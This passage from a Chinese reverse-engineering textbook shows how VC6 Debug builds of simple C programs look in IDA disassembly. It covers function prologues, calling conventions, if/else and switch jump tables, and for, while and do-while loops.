.text:004012B4　　　　call　_main
 
……
 
.text:004012C3 mainCRTStartup　endp
 
从反汇编代码中可以看到，main()函数在004012B4位置处，启动函数获得版本号、获得命令行参数、获得环境变量字符串……等一系列的操作后才调用了main()函数。由于使用的是调试版且有pdb文件，因此在反汇编代码中能直接显示出程序中的符号。通常情况是没有pdb文件的，这样_main是一个地址，而不是直接给出的符号了，不过仍然可以按照规律来找到主函数。
 
我们已经顺利找到了主函数，直接双击_main，到达如下反汇编代码处：
 
.text:0040100A ; int __cdecl main(int argc, const char **argv, const char *envp)
 
.text:0040100A _main　　proc near　　　; CODE XREF: mainCRTStartup+E4p
 
.text:0040100A　　　　jmp　main
 
.text:0040100A _main　　endp
 
我们看到了4 行0040100A，其实不是有4 行，真正的那一行是jmp main，其余的都是IDA为了方便查看而生成的。这时发现这并不是我们编写的主函数，这是以Debug方式编译生成的一个跳表，双击main处，就到了真正的主函数处了，代码如下：
 
.text:004010A0 main　　　proc near　　　; CODE XREF: _mainj
 
.text:004010A0
 
.text:004010A0 var_44　　= byte ptr -44h
 
.text:004010A0 var_4　　= dword ptr -4
 
.text:004010A0
 
.text:004010A0　　　　push　ebp
 
.text:004010A1　　　　mov　ebp, esp
 
.text:004010A3　　　　sub　esp, 44h
 
.text:004010A6　　　　push　ebx
 
.text:004010A7　　　　push　esi
 
.text:004010A8　　　　push　edi
 
.text:004010A9　　　　lea　edi, [ebp+var_44]
 
.text:004010AC　　　　mov　ecx, 11h
 
.text:004010B1　　　　mov　eax, 0CCCCCCCCh
 
.text:004010B6　　　　rep stosd
 
.text:004010B8　　　　push　6
 
.text:004010BA　　　　push　offset aHello　; "hello"
 
.text:004010BF　　　　call　j_test
 
.text:004010C4　　　　add　esp, 8
 
.text:004010C7　　　　mov　[ebp+var_4], eax
 
.text:004010CA　　　　mov　eax, [ebp+var_4]
 
.text:004010CD　　　　push　eax
 
.text:004010CE　　　　push　offset aD　　; "%d \r\n"
 
.text:004010D3　　　　call　printf
 
.text:004010D8　　　　add　esp, 8
 
.text:004010DB　　　　xor　eax, eax
 
.text:004010DD　　　　pop　edi
 
.text:004010DE　　　　pop　esi
 
.text:004010DF　　　　pop　ebx
 
.text:004010E0　　　　add　esp, 44h
 
.text:004010E3　　　　cmp　ebp, esp
 
.text:004010E5　　　　call　__chkesp
 
.text:004010EA　　　　mov　esp, ebp
 
.text:004010EC　　　　pop　ebp
 
.text:004010ED　　　　retn
 
.text:004010ED main　　　endp
 
观察反汇编代码就可以确定这是我们的主函数了，代码中有一个对test()的调用，也看到了printf()。下面介绍一下这段反汇编代码。
 
.text:004010A0　　　　push　ebp
 
.text:004010A1　　　　mov　ebp, esp
 
.text:004010A3　　　　sub　esp, 44h
 
.text:004010A6　　　　push　ebx
 
.text:004010A7　　　　push　esi
 
.text:004010A8　　　　push　edi
 
.text:004010A9　　　　lea　edi, [ebp+var_44]
 
.text:004010AC　　　　mov　ecx, 11h
 
.text:004010B1　　　　mov　eax, 0CCCCCCCCh
 
.text:004010B6　　　　rep stosd
 
大多数函数的入口处都是push ebp / mov ebp, esp / sub esp, xxx这样一个形式，这几句是用来保存栈帧并开辟栈空间用的。push ebx/pushesi /pushedi 是保存的几个关键寄存器值，以便函数返回后这几个寄存器中的值还能在调用函数处继续使用而没有被破坏。lea edi, [ebp+ var_44] / movecx,11h/mov eax, 0CCCCCCCCh/rep stosd，这几句是将开辟的内存空间全部初始化为0xcc，0xcc 如果当机器码来解释的话，其对应的汇编指令为int3，也就是断点中断指令。这样做是方便调试，尤其是对指针变量的调试好处非常多。以上代码是一个固定的形式，唯一会发生变化的部分是subesp, xxx，这里是subesp,44h。在VC6下的Debug编译方式下，如果当前函数没有变量，那么就是sub esp, 40h；如果有一个变量的情况下是sub esp,44h；两个变量时为sub esp, 48h。也就是说，从Debug 方式编译时总是在预留局部变量后将栈顶多抬高40h字节。局部变量都在栈空间中，栈空间进入函数后临时开辟的空间。函数入口处的代码基本上就这些，看一下函数返回处的反汇编代码：
 
.text:004010DD　　　　pop　edi
 
.text:004010DE　　　　pop　esi
 
.text:004010DF　　　　pop　ebx
 
.text:004010E0　　　　add　esp, 44h
 
.text:004010E3　　　　cmp　ebp, esp
 
.text:004010E5　　　　call　__chkesp
 
.text:004010EA　　　　mov　esp, ebp
 
.text:004010EC　　　　pop　ebp
 
.text:004010ED　　　　retn
 
这是函数返回时的固定格式，这个格式跟入口的格式基本是对应的。首先是pop edi/popesi /popebx，这里是将上面保存的几个关键寄存器的值进行恢复。然后是add esp,xxx，这里是与subesp,xxx 对应的，将临时开辟的栈空间释放掉（这个释放只是改变寄存器）。Mov esp,ebp/pop ebp是恢复栈帧，retn 就返回到上层函数了。在该反汇编代码中还有一步没有讲，这是cmp ebp, esp /call __chkesp，这两句是对__chkesp 函数的一个调用，在Debug 编译方式下，对几乎所有的函数调用完成后调用一次__chkesp，该函数的功能是用来检查栈是否平衡，以保证程序的正确性。如果栈不平，会给出错误提示。我们做个简单的测试，在主函数后面加一条内联汇编__asmpushebx，然后编译连接运行，在输出过后会看到一个错误的提示，如图7-14所示。
 

 [image: figure_0267_0232]

 

  图7-14 调用__chkesp后对栈平衡进行检查时出错的提示 

 
整个的主函数还有最后一部分，反汇编代码如下：
 
.text:004010B8　　　　push　6
 
.text:004010BA　　　　push　offset aHello　; "hello"
 
.text:004010BF　　　　call　j_test
 
.text:004010C4　　　　add　esp, 8
 
.text:004010C7　　　　mov　[ebp+var_4], eax
 
.text:004010CA　　　　mov　eax, [ebp+var_4]
 
.text:004010CD　　　　push　eax
 
.text:004010CE　　　　push　offset aD　　; "%d \r\n"
 
.text:004010D3　　　　call　printf
 
.text:004010D8　　　　add　esp, 8
 
.text:004010DB　　　　xor　eax, eax
 
首先是push6 /pushoffsetaHello /callj_test/add esp,8/ mov [ebp+ var_4],eax是对test()函数的一个调用，pusheax /pushoffset aD /callprintf / addesp,8是对printf()函数的调用，xoreax,eax 是对eax 进行清0。我们重点来看一下对test()函数的调用。双击j_test 来到如下反汇编代码处：
 
.text:00401005 j_test　　proc near　　　; CODE XREF: main+1Fp
 
.text:00401005　　　　jmp　test
 
.text:00401005 j_test　　endp
 
这里仍然是个跳表，双击test来到如下反汇编代码处：
 
.text:00401020 ; int __cdecl test(LPCSTR lpText, int)
 
.text:00401020 test　　　proc near　　　; CODE XREF: j_testj
 
.text:00401020
 
.text:00401020 var_40　　= byte ptr -40h
 
.text:00401020 lpText　　= dword ptr　8
 
.text:00401020 arg_4　　= dword ptr　0Ch
 
.text:00401020
 
.text:00401020　　　　push　ebp
 
.text:00401021　　　　mov　ebp, esp
 
.text:00401023　　　　sub　esp, 40h
 
.text:00401026　　　　push　ebx
 
.text:00401027　　　　push　esi
 
.text:00401028　　　　push　edi
 
.text:00401029　　　　lea　edi, [ebp+var_40]
 
.text:0040102C　　　　mov　ecx, 10h
 
.text:00401031　　　　mov　eax, 0CCCCCCCCh
 
.text:00401036　　　　rep stosd
 
.text:00401038　　　　mov　eax, [ebp+arg_4]
 
.text:0040103B　　　　push　eax
 
.text:0040103C　　　　mov　ecx, [ebp+lpText]
 
.text:0040103F　　　　push　ecx
 
.text:00401040　　　　push　offset aSD　; "%s , %d \r\n"
 
.text:00401045　　　　call　printf
 
.text:0040104A　　　　add　esp, 0Ch
 
.text:0040104D　　　　mov　esi, esp
 
.text:0040104F　　　　push　0　　　　; uType
 
.text:00401051　　　　push　0　　　; lpCaption
 
.text:00401053　　　　mov　edx, [ebp+lpText]
 
.text:00401056　　　　push　edx　　　; lpText
 
.text:00401057　　　　push　0　　　; hWnd
 
.text:00401059　　　　call　ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
 
.text:0040105F　　　　cmp　esi, esp
 
.text:00401061　　　　call　__chkesp
 
.text:00401066　　　　mov　eax, 5
 
.text:0040106B　　　　pop　edi
 
.text:0040106C　　　　pop　esi
 
.text:0040106D　　　　pop　ebx
 
.text:0040106E　　　　add　esp, 40h
 
.text:00401071　　　　cmp　ebp, esp
 
.text:00401073　　　　call　__chkesp
 
.text:00401078　　　　mov　esp, ebp
 
.text:0040107A　　　　pop　ebp
 
.text:0040107B　　　　retn
 
.text:0040107B test　　　endp
 
函数开头和结尾的部分我们都已经熟悉了，直接看其他部分吧，反汇编代码如下：
 
.text:00401038　　　　mov　eax, [ebp+arg_4]
 
.text:0040103B　　　　push　eax
 
.text:0040103C　　　　mov　ecx, [ebp+lpText]
 
.text:0040103F　　　　push　ecx
 
.text:00401040　　　　push　offset aSD　; "%s , %d \r\n"
 
.text:00401045　　　　call　printf
 
.text:0040104A　　　　add　esp, 0Ch
 
另外一段反汇编代码如下：
 
.text:0040104F　　　　push　0　　　; uType
 
.text:00401051　　　　push　0　　　; lpCaption
 
.text:00401053　　　　mov　edx, [ebp+lpText]
 
.text:00401056　　　　push　edx　　　; lpText
 
.text:00401057　　　　push　0　　　; hWnd
 
.text:00401059　　　　call　ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
 
从这两段代码中可以看出分别是对printf()函数和MessageBoxA()函数的调用，在对printf()函数调用后有一条add esp,0Ch，而在MessageBoxA()后面则没有。这是为什么呢？这就是调用约定。在VC下常见到两种调用约定，分别是stdcall和cdecl两种。
 
stdcall是Windows下的标准调用约定，Windows提供的API函数及WDK中提供的函数都是使用stdcall，当然也有例外，就是API中变参函数是使用cdecl调用约定。C语言默认的是使用cdecl调用约定。
 
stdcall参数的入栈方式是从右往左，平衡栈是在被调用函数的内部。cdecl参数的入栈方式也是从右往左，平衡栈是在调用函数方。这就是两种函数调用的约定方式，没有好与不好，只是调用方式不同而已，唯一一点是stdcall不能支持变参函数。
 

 
7.5.2 if……else……分支结构
 
下面用一个相对简单的if……else……分支实例来说明其对应的反汇编，C代码如下：
 
#include <stdio.h>
 
int main()
 
{
 
int a = 0, b = 1, c = 2;
 
if ( a > b )
 
{
 
printf("%d \r\n", a);
 
}
 
else if ( b > c )
 
{
 
printf("%d \r\n", b);
 
}
 
else
 
{
 
printf("%d \r\n", c);
 
}
 
return 0;
 
}
 
代码很简单，用IDA看其关键的反汇编代码：
 
.text:00401028　　　　mov　[ebp+var_4], 0
 
.text:0040102F　　　　mov　[ebp+var_8], 1
 
.text:00401036　　　　mov　[ebp+var_C], 2
 
以上3句分别是对3个变量进行赋值初始化。
 
.text:0040103D　　　　mov　eax, [ebp+var_4]　; 将var_4的内容给eax
 
.text:00401040　　　　cmp　eax, [ebp+var_8]　; 将eax与var_8进行比较
 
.text:00401043　　　　jle　short loc_401058　; eax小于等于var_8则跳转
 
.text:00401045　　　　mov　ecx, [ebp+var_4]
 
.text:00401048　　　　push　ecx
 
.text:00401049　　　　push　offset aD　　; "%d \r\n"
 
.text:0040104E　　　　call　printf　　　　; 输出var_4
 
.text:00401053　　　　add　esp, 8
 
.text:00401056　　　　jmp　short loc_401084　; 跳转到401084
 
.text:00401058 ; -----------------------------------------------------------------
 
.text:00401058
 
.text:00401058 loc_401058:　　　　　　; CODE XREF: main+33j
 
.text:00401058　　　　mov　edx, [ebp+var_8]　; 将var_8的内容给edx
 
.text:0040105B　　　　cmp　edx, [ebp+var_C]　; 将edx与var_c进行比较
 
.text:0040105E　　　　jle　short loc_401073　;　edx小于等于var_c则跳转
 
.text:00401060　　　　mov　eax, [ebp+var_8]
 
.text:00401063　　　　push　eax
 
.text:00401064　　　　push　offset aD　　; "%d \r\n"
 
.text:00401069　　　　call　printf　　　　; 输出var_8
 
.text:0040106E　　　　add　esp, 8
 
.text:00401071　　　　jmp　short loc_401084　; 跳转到401084
 
.text:00401073 ; -----------------------------------------------------------------
 
.text:00401073
 
.text:00401073 loc_401073:　　　　　　; CODE XREF: main+4Ej
 
.text:00401073　　　　mov　ecx, [ebp+var_C]
 
.text:00401076　　　　push　ecx
 
.text:00401077　　　　push　offset aD　　; "%d \r\n"　; 输出var_c
 
.text:0040107C　　　　call　printf
 
.text:00401081　　　　add　esp, 8
 
.text:00401084
 
.text:00401084 loc_401084:　　　　　　; CODE XREF: main+46j
 
.text:00401084　　　　　　　　　; main+61j
 
.text:00401084　　　　xor　eax, eax
 
观察上面的反代码发现，代码中使用的比较关联符号是“大于号”，而反汇编代码却使用了相反的比较跳转指令，使用的是“小于等于”则跳转，否则不跳转。请注意观察 00401043和0040105E这两个地址，jle会跳过紧接着的下面的部分代码，跳转的目的地址上面是一条无条件跳转指令jmp，也就是说，jle和jmp之间的部分是代码中比较表达式成功后执行的代码。在反汇编代码中，如果比较指令后的跳转指令没有发生跳转的话，则在执行完一系列指令后，会紧跟着一条无条件跳转指令jmp跳到某个地址。请注意观察00401056和00401071这两个地址，这两个跳转指令跳转到了同一个目的地址。在C源代码中，当比较表达式成功后会执行其后面的代码块，当执行完这些代码块后就跳过与之配对的elseif或else后面的代码。
 
上面C源代码中if……else……对应反汇编结构如下：
 
; 初始化变量
 
cmp 寄存器, 变量
 
jle　_else_if
 
; 一系列指令
 
jmp　_if_else的结束位置
 
_else_if:
 
mov 寄存器, 某变量
 
cmp 寄存器, 变量
 
jle　_else
 
; 一系列指令
 
Jmp _if_else的结束位置
 
_else:
 
; 一系列指令
 
_if_else结束的位置
 
这基本上就是if……else……分支结构的执行流程了，当反汇编时遇到这样的结构就可以马上知道这是一个if……else……分支结构了，大的流程定下以后就可以具体地分析每个分支要执行的代码了。
 

 
7.5.3 switch分支结构
 
前面讲了 if……else……的分支结构，接下来介绍 switch 分支结构。该结构是一个比较有趣的结构，它的反汇编代码和我们想的反汇编代码不同，而且switch的反汇编形式特别的丰富，这里只介绍它的其中一种反汇编形式。C语言代码如下：
 
#include <stdio.h>
 
int main()
 
{
 
int nNum = 0;
 
scanf("%d", &nNum);
 
switch ( nNum )
 
{
 
case 1:
 
{
 
printf("1 \r\n");
 
break;
 
}
 
case 2:
 
{
 
printf("2 \r\n");
 
break;
 
}
 
case 3:
 
{
 
printf("3 \r\n");
 
break;
 
}
 
case 4:
 
{
 
printf("4 \r\n");
 
break;
 
}
 
default:
 
{
 
printf("default \r\n");
 
break;
 
}
 
}
 
return 0;
 
}
 
我们来看以上代码对应的反汇编代码：
 
.text:00401028　　　　mov　[ebp+var_4], 0
 
.text:0040102F　　　　lea　eax, [ebp+var_4] ; 通过scanf()为var_4进行赋值
 
.text:00401032　　　　push　eax
 
.text:00401033　　　　push　offset aD　　; "%d"
 
.text:00401038　　　　call　scanf
 
.text:0040103D　　　　add　esp, 8
 
.text:00401040　　　　mov　ecx, [ebp+var_4] ; var_4将值赋给ecx
 
.text:00401043　　　　mov　[ebp+var_8], ecx ; ecx将值赋给var_8，var_8不
 
; 是定义的变量，是编译器生成的临时变量
 
.text:00401046　　　　mov　edx, [ebp+var_8] ; 将var_8赋值给edx
 
.text:00401049　　　　sub　edx, 1　　　; edx减1
 
.text:0040104C　　　　mov　[ebp+var_8], edx ; 将edx赋值给var_8
 
.text:0040104F　　　　cmp　[ebp+var_8], 3　; 将var_8与3进行比较
 
.text:00401053　　　　ja　short loc_40109B ; 如果大于3则跳转，跳到
 
; default分支
 
.text:00401055　　　　mov　eax, [ebp+var_8]　; 将var_8赋值给eax
 
.text:00401058　　　　jmp　ds:off_4010BB[eax*4]　; 比较新鲜的地方就是这里，将在
 
; 后面介绍
 
.text:0040105F
 
.text:0040105F loc_40105F:　　　　　　; DATA XREF: .text:off_4010BBo
 
.text:0040105F　　　　push　offset a1　　; "1 \r\n"
 
.text:00401064　　　　call　printf　　　　; printf(“1 \r\n”);
 
.text:00401069　　　　add　esp, 4
 
.text:0040106C　　　　jmp　short loc_4010A8　; 跳出switch
 
.text:0040106E ; -----------------------------------------------------------------
 
.text:0040106E
 
.text:0040106E loc_40106E:　　　　　　; CODE XREF: main+48j
 
.text:0040106E　　　　　　　　　; DATA XREF: .text:004010BFo
 
.text:0040106E　　　　push　offset a2　　; "2 \r\n"
 
.text:00401073　　　　call　printf　　　　; printf(“2 \r\n”);
 
.text:00401078　　　　add　esp, 4
 
.text:0040107B　　　　jmp　short loc_4010A8　; 跳出switch
 
.text:0040107D ; -----------------------------------------------------------------
 
.text:0040107D
 
.text:0040107D loc_40107D:　　　　　　; CODE XREF: main+48j
 
.text:0040107D　　　　　　　　　; DATA XREF: .text:004010C3o
 
.text:0040107D　　　　push　offset a3　　; "3 \r\n"
 
.text:00401082　　　　call　printf　　　　; printf(“3 \r\n”);
 
.text:00401087　　　　add　esp, 4
 
.text:0040108A　　　　jmp　short loc_4010A8　; 跳出switch
 
.text:0040108C ; -----------------------------------------------------------------
 
.text:0040108C
 
.text:0040108C loc_40108C:　　　　　　; CODE XREF: main+48j
 
.text:0040108C　　　　　　　　　; DATA XREF: .text:004010C7o
 
.text:0040108C　　　　push　offset a4　　; "4 \r\n"
 
.text:00401091　　　　call　printf　　　　; printf(“4 \r\n”);
 
.text:00401096　　　　add　esp, 4
 
.text:00401099　　　　jmp　short loc_4010A8　; 跳出switch
 
.text:0040109B ; -----------------------------------------------------------------
 
.text:0040109B
 
.text:0040109B loc_40109B:　　　　　　; CODE XREF: main+43j
 
.text:0040109B　　　　push　offset aDefault ; "default \r\n"
 
.text:004010A0　　　　call　printf
 
.text:004010A5　　　　add　esp, 4
 
.text:004010A8
 
.text:004010A8 loc_4010A8:　　　　　　　; CODE XREF: main+5Cj
 
.text:004010A8　　　　　　　　　　; main+6Bj ...
 
.text:004010A8　　　　xor　eax, eax
 
根据对if……else……的经验判断，分支是由跳转指令完成的。在上面的反汇编代码中发现有两条跳转指令，一条是跳转到default分支的，另一条是一个看不太明白的跳转。我们把那条跳转指令单独看一下：
 
.text:00401055　　　　mov　eax, [ebp+var_8]
 
.text:00401058　　　　jmp　ds:off_4010BB[eax*4]
 
此时说明eax的值不大于3，也就是在0～3之间的任意一个数，看一下4010bb是什么内容：
 
.text:004010BB off_4010BB　dd offset loc_40105F　; DATA XREF: main+48r
 
.text:004010BF　　　　dd offset loc_40106E
 
.text:004010C3　　　　dd offset loc_40107D
 
.text:004010C7　　　　dd offset loc_40108C
 
4010bb像是一个数组，数组中的内容是40105f、40106e、40107d和40108c，这4个值就是switch中各个分支的目标地址，也就是说该处是根据一个地址表来跳转到各个分支流程的，根据各个取值的不同而不同。比如输入的内容是4，而经过反汇编的一番处理后变成了3，处理的反汇编代码如下：
 
.text:00401040　　　　mov　ecx, [ebp+var_4]
 
.text:00401043　　　　mov　[ebp+var_8], ecx
 
.text:00401046　　　　mov　edx, [ebp+var_8]
 
.text:00401049　　　　sub　edx, 1
 
当输入变为3 时，在jmp ds::off_4010bb[3 *4]中得到的地址为4010bb +3* 4= 4010c7，而4010c7 中保存的则是到case 4:分支的地址。
 
switch 分支的反汇编形式比较有用，这里只介绍了其中的一种反汇编形式，其余的反汇编形式就不进行介绍了，大家可以自行学习。
 

 
7.5.4 for循环结构
 
介绍完分支结构后，相应的就要介绍C语言中的循环结构，下面先来介绍一下for循环， C语言代码如下：
 
#include <stdio.h>
 
int main()
 
{
 
int nNum=0, nSum=0;
 
for ( nNum = 1; nNum <= 100; nNum ++ )
 
{
 
nSum+=nNum;
 
}
 
printf("%d \r\n", nSum);
 
return 0;
 
}
 
这是一个很经典的求1加到100的累加和的例子，我们看其反汇编代码：
 
.text:00401028　　　　mov　[ebp+var_4], 0
 
.text:0040102F　　　　mov　[ebp+var_8], 0　　　; 变量的初始化
 
.text:00401036　　　　mov　[ebp+var_4], 1　　　; 对循环变量赋值1
 
.text:0040103D　　　　jmp　short loc_401048　　; 跳转到401048进行比较
 
.text:0040103F ; -----------------------------------------------------------------
 
.text:0040103F
 
.text:0040103F loc_40103F:　　　　　　; CODE XREF: main+47j
 
.text:0040103F　　　　mov　eax, [ebp+var_4]
 
.text:00401042　　　　add　eax, 1
 
.text:00401045　　　　mov　[ebp+var_4], eax
 
.text:00401048
 
.text:00401048 loc_401048:　　　　　　; CODE XREF: main+2Dj
 
.text:00401048　　　　cmp　[ebp+var_4], 64h　　; 对循环变量的比较
 
.text:0040104C　　　　jg　short loc_401059　　; 不满足条件则跳出循环
 
.text:0040104E　　　　mov　ecx, [ebp+var_8]
 
.text:00401051　　　　add　ecx, [ebp+var_4]
 
.text:00401054　　　　mov　[ebp+var_8], ecx
 
.text:00401057　　　　jmp　short loc_40103F ; 跳转到40103f处修改循环变量的值
 
.text:00401059 ; -----------------------------------------------------------------
 
.text:00401059
 
.text:00401059 loc_401059:　　　　　　; CODE XREF: main+3Cj
 
.text:00401059　　　　mov　edx, [ebp+var_8]
 
.text:0040105C　　　　push　edx
 
.text:0040105D　　　　push　offset aD　　; "%d \r\n"
 
.text:00401062　　　　call　printf
 
.text:00401067　　　　add　esp, 8
 
.text:0040106A　　　　xor　eax, eax
 
这段 for 循环的反汇编代码很清晰，也很简单，就不对反汇编代码做具体介绍了，下面只对for循环结构做一个反汇编的总结，具体如下所示：
 
; 初始化循环变量
 
jmp 循环变量比较处
 
修改循环变量处：
 
; 修改循环变量的值
 
循环变量比较处：
 
; 循环变量的比较
 
jx 不满足条件则跳出循环
 
…… ;循环体
 
jmp 修改循环变量处
 

 
7.5.5 do……while与while……循环结构
 
最后再介绍两种循环结构，分别是do……while和while循环结构，同样使用简单的例子来整理其反汇编对应的结构。先来看do……while循环，C语言代码如下：
 
#include <stdio.h>
 
int main()
 
{
 
int nNum=1, nSum=0;
 
do
 
{
 
nSum+=nNum;
 
nNum ++;
 
} while ( nNum <= 100 );
 
printf("%d \r\n", nSum);
 
return 0;
 
}
 
再看其反汇编代码：
 
.text:0040B488　　　　mov　[ebp+var_4], 1　　; 初始化循环变量
 
.text:0040B48F　　　　mov　[ebp+var_8], 0
 
.text:0040B496
 
.text:0040B496 loc_40B496:　　　　　　　; CODE XREF: main+3Cj
 
.text:0040B496　　　　mov　eax, [ebp+var_8]
 
.text:0040B499　　　　add　eax, [ebp+var_4]　; 累加
 
.text:0040B49C　　　　mov　[ebp+var_8], eax
 
.text:0040B49F　　　　mov　ecx, [ebp+var_4]
 
.text:0040B4A2　　　　add　ecx, 1　　　; 修改循环变量
 
.text:0040B4A5　　　　mov　[ebp+var_4], ecx
 
.text:0040B4A8　　　　cmp　[ebp+var_4], 64h　; 循环变量与指定值进行比较
 
.text:0040B4AC　　　　jle　short loc_40B496　; 小于则继续循环，跳回到40b496处
 
.text:0040B4AE　　　　mov　edx, [ebp+var_8]
 
.text:0040B4B1　　　　push　edx
 
.text:0040B4B2　　　　push　offset aD　　　; "%d \r\n"
 
.text:0040B4B7　　　　call　printf
 
.text:0040B4BC　　　　add　esp, 8
 
.text:0040B4BF　　　　xor　eax, eax
 
do……while循环对应的反汇编结构如下：
 
; 初始化循环变量
 
循环体的开始:
 
; 执行循环体
 
; 修改循环变量
 
; 循环变量的比较
 
jx 条件成立跳转循环体的开始处
 
下面来看一个while循环的代码：
 
#include <stdio.h>
 
int main()
 
{
 
int nNum=1, nSum=0;
 
while ( nNum <= 100 )
 
{
 
nSum+=nNum;
 
nNum ++;
 
}
 
printf("%d \r\n", nSum);
 
return 0;
 
}
 
看其反汇编代码：
 
.text:00401028　　　　mov　[ebp+var_4], 1　　　; 初始化循环变量
 
.text:0040102F　　　　mov　[ebp+var_8], 0
 
.text:00401036
 
.text:00401036 loc_401036:　　　　　　; CODE XREF: main+3Ej
 
.text:00401036　　　　cmp　[ebp+var_4], 64h　　　; 循环变量与指定值比较
 
.text:0040103A　　　　jg　short loc_401050　　　; 大于则跳出循环体
 
.text:0040103C　　　　mov　eax, [ebp+var_8]
 
.text:0040103F　　　　add　eax, [ebp+var_4]
 
.text:00401042　　　　mov　[ebp+var_8], eax
 
.text:00401045　　　　mov　ecx, [ebp+var_4]
 
.text:00401048　　　　add　ecx, 1　　　　　; 修改循环变量
 
.text:0040104B　　　　mov　[ebp+var_4], ecx
 
.text:0040104E　　　　jmp　short loc_401036　　　; 继续执行循环体
 
.text:00401050 ; -----------------------------------------------------------------
 
.text:00401050
 
.text:00401050 loc_401050:　　　　　　; CODE XREF: main+2Aj
 
.text:00401050　　　　mov　edx, [ebp+var_8]
 
.text:00401053　　　　push　edx
 
.text:00401054　　　　push　offset aD　　; "%d \r\n"
 
.text:00401059　　　　call　printf
 
.text:0040105E　　　　add　esp, 8
 
.text:00401061　　　　xor　eax, eax
 
整个反汇编代码与do……while类似，只是把判断放到前面了，while循环的结构如下：
 
; 初始化循环变量
 
循环体开始:
 
; 循环变量的比较
 
jx 条件成立跳转循环体的开始处
 
; 执行循环体
 
; 修改循环变量
 
Jmp 循环体开始
 
循环体结束:
 
对于for、do……while和while这3种循环来说，do……while的效率显然更高一些。编程时可以尽量选择do……while循环来使用。
 
对于C语言的逆向知识就介绍这么多。大家可以写一些C语言代码，然后用IDA来进行分析学习。
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